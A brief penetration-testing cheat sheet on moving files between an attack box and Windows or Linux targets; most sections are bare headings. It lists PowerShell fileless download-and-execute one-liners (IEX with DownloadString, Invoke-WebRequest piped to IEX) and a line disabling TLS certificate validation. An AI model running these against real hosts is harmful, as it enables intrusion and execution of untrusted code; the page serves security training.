File Transfer Methods
Windows
Download Files on Target
Base64 Encode and Decode
# Attack box
cat filename |base64 -w 0;echo
# Target Windows host
[IO.File]::WriteAllBytes("Output_file", [Convert]::FromBase64String("base64_string"))PowerShell DownloadFile Method
# File Download
(New-Object Net.WebClient).DownloadFile('<Target_File_URL>','<Output_file>')
(New-Object Net.WebClient).DownloadFileAsync('<Target_File_URL>','<Output_file>')
# Fileless Download
IEX (New-Object Net.WebClient).DownloadString('<Target_File_URL>')
(New-Object Net.WebClient).DownloadString('<Target_File_URL>') | IEX
Invoke-WebRequest <Target_File_URL> -OutFile <Output_file>
# Response content cannot be parsed because the Internet Explorer
Invoke-WebRequest <Target_File_URL> -UseBasicParsing | IEX
# In case of SSL/TLS error
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}SMB Downloads
FTP Downloads
Mounting a linux folder on target host using RDP
Upload Files to Attack Host
Base64 Encode and Decode
Powershell web uploads
Base64 Encoded web upload
SMB Upload
FTP Upload
Linux
Download Files on Target
Base64 Encode and decode
Web Downloads
Download with bash
SCP Download
Upload Files on Attack Host
Web Upload
Starting a web server on victim and use curl to download files on attack host
File Upload using SCP
Last updated